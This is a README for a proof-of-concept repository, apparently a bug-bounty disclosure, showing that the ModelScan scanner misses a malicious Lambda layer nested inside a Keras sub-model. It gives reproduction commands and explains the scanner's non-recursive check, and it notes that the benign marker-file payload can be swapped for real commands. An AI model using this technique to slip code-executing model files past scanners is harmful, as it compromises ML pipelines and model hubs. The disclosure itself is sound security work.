th3-j0k3r/modelscan-keras-nested-lambda-bypass

ModelScan Bypass — Arbitrary Code Execution in .keras via Nested Lambda Layer

Proof-of-concept for a Huntr Model File Format report.

model.keras runs code on keras.saving.load_model(..., safe_mode=False) while ModelScan reports it clean. The malicious Lambda layer is hidden one level deep inside a nested sub-model. ModelScan's KerasLambdaDetectScan only inspects the flat, top-level config.layers list (and matches class_name == "Lambda" exactly), so it never sees the nested Lambda — but Keras deserializes sub-models recursively and executes it on load.

Files

• model.keras — the PoC model file (benign payload: writes keras_poc_executed.txt)
• exploit.py — builds a flat model (detected) and the nested model (missed), scans + loads both
• README.md — this file

Reproduce

Use Python 3.10+ (verified on 3.12 / TensorFlow 2.21 / Keras 3.14 / modelscan 0.8.8). TensorFlow does not run on the EOL Python 3.9 — on macOS arm64 it aborts at import with mutex lock failed, which is unrelated to this issue.

# 0) Get Python 3.10+ if needed:
#    macOS:        brew install python@3.12
#    Debian/Ubuntu: sudo apt-get install -y python3.12 python3.12-venv
python3.12 --version                     # -> Python 3.12.x

# 1) Clean virtual environment so `python` is 3.12, not the system 3.9
python3.12 -m venv venv
source venv/bin/activate                 # Windows: venv\Scripts\activate
python --version                         # -> Python 3.12.x
pip install 'modelscan[tensorflow]' tensorflow keras

# 2) Scanner says it is safe:
modelscan -p model.keras                 # ->  No issues found
# 3) Loading it executes code:
python -c "import keras; keras.saving.load_model('model.keras', safe_mode=False, compile=False)"
ls keras_poc_executed.txt                # marker proves code ran on load
# or run the full demo (flat=detected, nested=bypass):
python exploit.py                        # -> No issues found (BYPASS) + CODE EXECUTED

Why it works

modelscan/scanners/keras/scan.py (_get_keras_operator_names):

lambda_layers = [
    layer.get("config", {}).get("function", {})
    for layer in model_config_data.get("config", {}).get("layers", {})   # TOP LEVEL ONLY
    if layer.get("class_name", {}) == "Lambda"                           # exact match
]

It iterates only the outer config.layers and never recurses. A Lambda inside a sub-model (top-level class_name is Functional, not Lambda) is invisible to the scan.

Why this is a scanner bug (not safe_mode misuse)

The report is not "Keras runs Lambda layers" (known). It is that ModelScan's KerasLambdaDetectScan flags a flat Lambda (1 issue) but returns 0 issues for an identical Lambda nested one level deep. Both files are equally dangerous; the scanner certifies one as clean. That false negative is the bug, independent of how the file is later loaded.

Impact

ModelScan is used to gate untrusted models in MLOps pipelines / model hubs. This file passes the scan as clean yet achieves arbitrary code execution on load — defeating the control. Verified on modelscan 0.8.8 / Keras 3.14.1 / TensorFlow 2.21.

The payload here is benign (writes a marker file). Swap the command inside the Lambda in exploit.py to confirm real command execution.